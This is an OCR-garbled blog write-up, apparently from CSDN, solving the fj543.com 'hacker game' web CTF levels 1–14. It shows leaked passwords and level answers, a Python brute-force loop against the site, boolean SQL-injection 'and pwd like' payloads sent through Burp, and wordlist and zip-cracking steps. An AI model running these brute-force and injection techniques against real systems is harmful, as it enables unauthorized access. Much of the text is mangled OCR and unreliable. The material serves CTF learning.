B AR

LD F 2017-09-12 21:35:30 K AR 3963 Wi 6

FEELFE: CTE

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ASCEERE: https://blog.csdn.net/sinat_34200786/article/details/77950031

CTF LREWFZAE
19 RWXE 0T
TSR

BRI R— I AN R BF AR

. ELEFETEEN. BHINFERZ KRR, EMIRZHE Uweb A AN EESREITE . bEOHHEIREE. K
PrasifE . e TREERAEEweb T H KA.
B, WSRO —ERFZRAREXEH, HHFREAREBEE FR L. XUARET. RIETES OB FITEEREH!

AERHIR R BB R B 5 B, Hweb% P iR Elweb iR S A HiR, BY REMEARMZIAR. FHRNHABRFEAR, UK
IEME . 2 TREEF., PRNBSEHI X R HERZNEORE B,

B3R

&

D

MERE1X(Level 1)

BINIERRRIERSENRNT £ (Input password please)
| | Go

BNE | SRR TSOREEREES RN, (The Client-side authentication is not secure)

New Way :

iR RS B

WriteUp


https://blog.csdn.net/sinat_34200786
https://blog.csdn.net/sinat_34200786/category_6848682.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/sinat_34200786/article/details/77950031
https://blog.csdn.net/sinat_34200786/category_6848682.html
http://www.fj543.com/hack/
http://www.fj543.com/hack/?level=1

<h2>ITESE S 19E (Level 1) </h2>
{script type="text/javascript”>
function gogogo () {
var pwd=document. getElementById("pass”). value;
if (pwd=="go6191") {alert(“OK, it /! ”);window. location="./?level=222";} else {alert("Error: &% !
}
{/seript>
Sy N AEf SRS EI ATt 9% (Input password please) <br/>
{input type="password” name="pass” id="pass” value="" />{input type="button” value="Go” onClick="gogogo()
<hr/>

#

B/R

M{EREE2% (Level 2)

BINEREHN F—£ (Input password please)
| | Go

BE  OTFRIEE |, o4 MHIEF | (1 hate the scriptit prevents me)

iR LS B

WriteUp

<h2>AE L5295 (Level 2) </h2>
{script type="text/javascript”>
function chkPassword() {
= N entById("pass”). value;
if (pwd=="") {alert("Error:#fiSAfit N 4! (Input password please)”);lelse{alert ("Error: E{YAfiEtH4 /! (Don’ t input password please)”);} //LiSAIIA N,
return false;

}

{/seript>

I —>

{form action="./" method="post” onSubmit="return chkPassword()">
S AN )¢ (Input password please) <br/>

<input type="password” name="pass” id="pass” value="" />{linput type="hidden”|name="act” id="act” value="pass2” /><input type="submit” value="Go"/>
{/form>

1AL

<br/>

<br/>

il X RMBE A, A4 RLIEF! (I hate the script, it prevents me)


http://www.fj543.com/hack/?level=222

P Rl rTI R SRS A W NI e Ay et PR ew LR =Yy e - g B

INT ~ = @& SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY~ TOOLS- WAF BYPASS- ENCODING- HTML- E
@l Lload URL rhttp://www.f]543.c0m{hack/?leve|=222
®  split URL

. Execute

Post data [ | Referrer ¥ OxHEX ™ @& o |RL ™ &% BASER4 B Insert string to repl

Post data (act=pass2|

AR Z i—HR I A (UREREF R A

MEEE2X(Level 2)

BN 3% (Input password please)
‘ ‘ Go

IBTIE « 0T RIS | A0S ! (1 hate the script,it prevents me)

IMERSE3X(Level 3)

BN EEE , FRLIEAZEEME, (You must login to see the secret of this level)

IBTNE | XRFERINE , BHAiiikiZTER ? (Damn page! Why you say that | didn't login?)

New Way :
FANEEEARME , TRNZEES, TEEEFESSFEERRN....

WriteUp


http://www.fj543.com/hack/?level=3login

Cookie: ASPSESSIONIDOQCTSTSRD=MIGLFHIDHEFCFFHLEAHJDMJD; _D_SID=CSEEDLOSAFASZ LIODECESAFCHSFECE4CS;
Hm lvt_ddel72cd878cbhSdedas5alifabs08bel6=1505221505; Hm_ lpvt_ddel7Zed878ch9dedasal0%9:abs08bel6=1505223660; guoguan=I;

login=no .
oWT: 1L

Frrmmasmrimanes ~laos

BEAEM (Input the password)
‘ Go

IEE : REEEENEFEAE—ZEEEEEL (Tribute to the early hackers)

New Way :
BAFEAZE, (Input his name please)

fife R FE %

WriteUp

JE R L
HTEOYEERNANREY, SNERRE, THESRELIAEER

| mE || B || 2nes
gt El - | =S | #iPEs:
EYAE:

iamok



http://www.fj543.com/hack/?level=4ditdah
http://www.fj543.com/hack/?level=5crack

MERSESX(Level 5)

BAEISEN T (Input password please)
| | Go

TE | ARTNEEREERINERAYMFZZTY0aXNvaw= =8ad93c1d 102ae60f4fIfE2 RIS, (Encrypting a password by a popular encryption method is not secure)

iR RS B

WriteUp

BN TR SRR =T
YmFzZTY0aXNvaw==

Baseb 4RSS E R

basebdisok

M{EREE6%(Level 6)

if mstsc+vnc=9290 then password=MSSQL+MySQL+Oracle
password=‘ | Go

IEE  BEENRE=EEICDE, (You should remember some numbers)

New Way :
level="7"+vnc


http://www.fj543.com/hack/?level=6por

figt LR

WriteUp

mstsc vnc : EFEEIE
MSSQL MySQL Oracle

SR 5 R AR BRI O

mstsc ERiA¥gH: 3389
vnc ZRIANE . 5901
3389 + 5901

HERE7X(Level 7)
IGNORE

BN F—2 (Input password please)
‘ ‘ Go

IBNE  ReEEL TR, SRMNEELASN | (The password is about a TV program)

fife R FE. %

WriteUp


http://www.fj543.com/hack/?level=7590

IGNORE

8b wm UPPERCASE gne
WORDS
0 50 m o0 2 700 rr 3 100 rr B o0 5 100 ms

B|INK

JE R

ME=EE8XK(Level 8)

EHENFEREMMERETA ? (What's the username of WuShichang's little brother)
| | Go

g« Avivg T, iix—%FES Al , BiEHE. (Social Engineering.Use your brain more,and use computer less)

New Way :
EHESEWFIHTESZEMA ? (Input the name of the girl singer group)

iR LS

WriteUp

#
N
A

]


http://www.fj543.com/hack/?level=8bwmqne
http://www.fj543.com/hack/?level=91ie543

HER5E9IX(Level 9)

BEINSHE @ (Input the token please)
‘ ‘ Go

1ENE © (FHIE 5.43hEaaU0EagiAin] Tlevel =9tokenB] LIISRI<HE, (Use IE 5.43 version to browse ?level=9token)

fife 7L FE. %
WriteUp

GET /hack/?level=Stoken HTTP/ 1.1

Host: www.fj543.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé&4; xE‘}; Gecko/20100101 Firefox/55.0
Aocept: text/html,application/xhtwl+xml, application/=ml;q=0.5%, *rg=0.5

Aocept-Language: zh-CH, zh:;g=0.8,en-U3;q=0.5,en;¢g=0.3

Aoecept-Encoding: gzip, deflate

Referer: http://www.£j543.com/ hack/ ?leve l=SBhwmcne

Cookie: ASPSESSICNIDSCRQORTC=LLIKOINAGJELPLFNEMCMDEIH; D _SID=C566DI0OSAFAIZI0ODECESSESLAZETDECE;

Hm_1lvt_ddel7Zcd878ch9dedasalifab508belE=1505385536; Hm 1lpvt_ddel7Zcd878chYdedasalifabs508be lE=1505385757; guoguan=8
DNT: 1L

Connection: close
Tpgrade-Insecure—-Regquests: 1
Cache-Control: max-age=0

L

R4 EE(Token):level 9496302
ESRERESEFEW, (The token is available only today)


http://www.fj543.com/hack/?level=g1014496302

IMEEE10%(Level 10)

BEHANSHRE  (Input the token please)
| | Go

IBE « B RS hEE AR (Token Generator), FEEFIEASBREZ, (Download it.The zip password is short,but very complex)

Q ziperello

i~  zZip password recovery tool

SRR e —
et = EENE, Wod DHal 8
R . R

#fiZ=AiE): 00:00:02

10Token.exe 10token.zip



w. F10x%k2(Token for level 10)

BEERSMNEF, BMIHFPEBAT -

E:Nau. 10 k=t :
Wy

ANRERPRZL M, FRERE

BEEA]
10Token.exe 10token.zip 11file.gif awe 10.txt
ic=4 X

AR Whawx txt,
EIEEET41E?

=(Y) &(N) B

18- FT T H BT B TR 4T I S

%


http://www.fj543.com/hack/?level=lv11

MEEE11%(Level 11)

?__?,I
EAEEHA F—3% (Input password please)

Go

BE . — =g, I2E55E8, ( like the beautiful face and the voice)

it LI

WriteUp

00006E0 D4 FD OB 74 C2 1B 41 74 81 D2 6D C1 21
00006F0 19 FF 4E 1C €4 53 4D EO 8B 9C 03 D7 04
0000700 EO 84 7F 40 FA OA 1E 4C B8 BO 61 81 F7
0000710 OD OA 2D 2D 2D 2D 2D 2D 2D 2D 2D
0000720 2D 2D 2D 2D 2D 2D 2D 2D 70 61 73 73 77
0000730 20 65 6E 64 2C 61 6E €4 20 70 €1 73 73
0000740 €4 20 73 74 61 72 74 2D 2D 2D 2D 2D 2D
0000750 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D OA
0000760 4€ 24 1D 01 00 57 41 56 45 €6 €D 74 20
0000770 00 01 00 Ol 00 40 1F 00 00 80 3E 00 00
0000780 00 €4 €1 74 €1 00 1D Ol 00 00 00 00 0O

b
&

BO
D2
OE

&F

77

52
10
oz
00

¥

[ ]
(&)

]

Oy.tA.At.OmA!",A
.UN.dSMacee. x. 005
4,.@04..L.%.=...

=1 La

———————— password
end, and passwor

d start=-=---=-=-=-=-

s LD oy
[r< e e O T e B

]

(]

]

(o ]

]
]

FS :ﬂINEfmt -
I o JRPRIE -5 R



http://www.fj543.com/hack/?level=g1214496302

MERSB12K(Level 12)

TEAELELRXANNEERSEI ! (Don't close this window)

(G EEEFEPR/MIEET I DRIAIE | ABEBRIECA9REE | (You should get two Authentication)
1. NS 20T, AEEBEME—M4ERD.(Download it. And use it to Authenticate the TemplID of software)
2.0FIEN , BhiEE T AFAEFRNREIERID. (Then back to this window.Try to Authenticate the TemplD of web)

IBNE | FNMEIERIDE235 32 NTRER , HEFEREE, (This is your TemplD of web)

figt L8

WriteUp

i, 12X T Hilevel 12 -10] =l

|&FID :  [204 EHE R A IE
[huthenticate)

TEEELMEFFIR Started) |2
TiEE#— 4 (stepl). . Stepl ok

TEiEE® = % (step?). . Step? ok
e lE IDRAE. B FRIEEDMNERPH
(&R DGR IDRAIEe (Software TempID is

anthenticated Flease back to the browser
window. Try to Authenticate the TempID of web)

X diack - levellZ.exe - [HBEFHEHE]

[p] ey BEY BSD BHHE EWD B0 #EEH [+ BEEE THE #EePHS:

~Jelx] >0 W 30 2 = L elm] elwlhlelp]k] bl c ] Py

MEFE

zent: Mozillafd. 0 (compatible; Ha



import requests

requests.Session()
= {'User-Agent': 'Mozilla/4.0 (compatible; HackersGameBrowser)'}

{"ASPSESSIONIDSCRQQRTC" : 'BLNFHKCCLKAHGNCLHGFDFFLM",
' D _SID':'C566D105AFA3210DEC658FCF929AADFS ",
"Hm_1lvt_ddc172cd878cb9d6da5al09ab508bel6 ' : '1505537184 ",
"Hm_lpvt _ddc172cd878cb9d6da5al09ab508bel6 ' : ‘1505538837,
‘guoguan':'11'}

url = "http://www.fj543.com/hack/?act=step2&code=%d"

hl = con.get('http://www.fj543.com/hack/?act=stepl&code=235"',headers=header, cookies=cookie)
print(hl.text)

for i in range(1,1000):
= con.get(url%i, headers = header,cookies = cookie)
if 'Bad' in h.text:
continue
else:
print(h.text,i)
break

Stepl ok
Step2 ok 245

FEMREIT12X | REE—TIRRIRLFL !
Edo==1: EHoo=h mlFmeames Rensas INAAR Baus

RIS ESIMAQQET : 10068283 , HEFMNAQQ : 217778, XGTTETHIAIETAE,

R | iEiH 13K (Level 13)



MERE13%(Level 13)

{FEIID:Z(Your ID) : 944
{REY=IS(Your password) : ‘ Go

IBmE : M /hack/13sql.aspiEiEHiE- DI RAIZEERS, (Try to find the password for the ID)

it LIS

WriteUp

ERSHEBEH

XE— N UEEEEEILERA , I222—D , 287<&E5458, (Submit an ID,then it will show you the query result)

1and 1=1 | ==

HIREPEIXEEE (BRAEESIRIRZE, (The data exists.But | can't show you the password)

XE—TEEEEEEILERA , 85— ID , 87Ea4558, (Submit an ID,then it will show you the query result)

1and 1=2 IB=5

ISEHEIIDEAAIANZE. (Nothing found)


http://www.fj543.com/hack/?level=13sql
http://www.atomsec.org/%25E6%25B8%25B8%25E6%2588%258F/%25E9%25BB%2591%25E5%25AE%25A2%25E4%25B8%259B%25E6%259E%2597%25E4%25B9%258B%25E6%2597%2585%25E9%2580%259A%25E5%2585%25B3%25E6%2594%25BB%25E7%2595%25A5/

h

. " : it e e
i split URL |#| Request to nttp://wwfj543.com:80 23.88.3.41]

» Execute [ Forward J [ Drop J | Intercept is on | [ Action J

J Raw T Params I Headers I Hex 1 Send to Spider
Do an active scan

[] Post data [ ] Referrer ™ 0x

POST /hack/l3sqgl.asp HTTE/L.L
Host: www.f£j543.com

E%_%E%:%@Eﬁﬁ ’ Tx%ﬁ_/I\ID User—Agent: Mozilla/5.0 (Windows NT 10.0;

Send to Intruder

Aocept: text/html, application/xhtml+xml P SendtnRepeﬂer Ctrl+R
Accept-Language: zh-CN, zh;q=0.8,en-USf=0.5 Send to Sequencer

|1 and de ||ke ‘%DA:‘ | ]ﬁlz_ﬁt_'_ Aoccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlenc Send to Comparer
Content-Length: 30 Send to Decoder

Eiat eZa] v == H Eeferer: http://www.£j543.com/hack/13=sql. as) ]

.’Rﬁ;ﬁj:“tt”) —Lﬂgmﬁ“ (NOthlng found Cookie: ASPSESSTCNIDOASTOOTD=LACGHECCHMNEDL AR RECIUESt in browser »
Hm_lwvt_ddcl7ZcdB878chSdeédasalisSab508be LE=150 Engagemem tools »
DNT: 1
Connection: close Change request method
Upgrade-Insscure—-EFequests: .

/ Change body encoding

id=l4+and+pwd+like+527%25%25%27 Copy URL

Copy as curl command

Cookie: ASPSESSICHNIDQASTOOTD=LACGHECCHIMEDLAEE IHHEDEDIT;

_D 3SID=CLeeD105SAFAIZ IODECESS4775AZFE71D; Hm lvt_ ddel7Zcd873ch9dedasalis
Hw 1lpvt ddel72cdB878chBdéda5alifab508belE=1505552856; guoguan=13

DNT: 1

Connection: close
Upgrade-Insecure-Requests:

id=l+and+pwd+like+3Z7%2588%25%27

Request | Payload [ Status [ Errar | 'I'|meo|..|t| Length v Comment
2 b 200 ] L G52
" k 200 [ L 652
16 p 200 ] L G52
20 t 200 [ L 652
25 v 200 ] L G52
29 B 200 [ L 652
38 K 200 ] L G52
43 P 200 [ L 652
47 T 200 ] L G52
02 Y 200 [ L 652

import itertools #HAE BT B

open('zidian.txt','w")
for i in itertools.permutations('bkpty',5):
c = "'.join(1)
f.write(c + "\n'")

f.close()




Payload type: | Simple list [ beihan.py [¥ Paint&Scan txt

EI ggg-py |:| shiyanba.py I
LSB. ilang.
5] Payload Options [Simple I | = “>2P 2 yilang py
- [ mix.py [ zidian.txt

This payload type lets you config [ out.png

Paste

ZiEEN): | zidian.txt

MBI | R -J

Remaove

f1H# EH

Clear

i

Add Enter a new item

3 bktpy 302 O [] 425

4 bktyp 200 O ] 2097
5 bkypt 200 O ] 2097
6 bleytp 200 O ] 2097
7 bpkty 200 O ] 2097
8 bplyt 200 O ] 2097
9 bptky 200 O ] 2097

Reguest | Response }

J Raw T Headers | Hex I HTML T Render }

HTTF/1l.1 302 Chject moved

Server: Tengine

Date: Sat, l& Sep 2017 09:Z&:44 GMT

Content-Type: text/html

Content-Length: 134

Connection: close

X-Powered-By: ASP.NET

Location: ./?level=13ok

Set-Cookie: guoguan=13; expires=Mon, 1l6-Oct-2017 09:2&:44 GMT:; path=/
Cache-controls nrivates

—

<headr<tit]e>0bject moved</title></head>
<body><hl>@bject Moved</hl>This object may be found <4 HREF="./7level=l3ock">here</a>.</body>




FHEMFIT 713X | REGZE—TIRAIRE !

AEF . Q0=@F FHEHE BEiGE AN &S
SERIRHEESINANQQEF : 10068283 , FEIIMNAQQ : 217778 , FEBEZTHIAETA R,

Well done!"HiFE 2 /level 14 EisdrastikiE. (Come on! Level 141)

&
+
=
¥

5
&

MEEE14%(Level 14)

BERASHEE © (Input the token please)
| | Go

IBE | 15 FES B4R (Token Generator), (Download the software to get a token.)

WriteUp

ERXRSHERH


http://www.fj543.com/hack/?level=14crack
http://www.atomsec.org/%25E6%25B8%25B8%25E6%2588%258F/%25E9%25BB%2591%25E5%25AE%25A2%25E4%25B8%259B%25E6%259E%2597%25E4%25B9%258B%25E6%2597%2585%25E9%2580%259A%25E5%2585%25B3%25E6%2594%25BB%25E7%2595%25A5/
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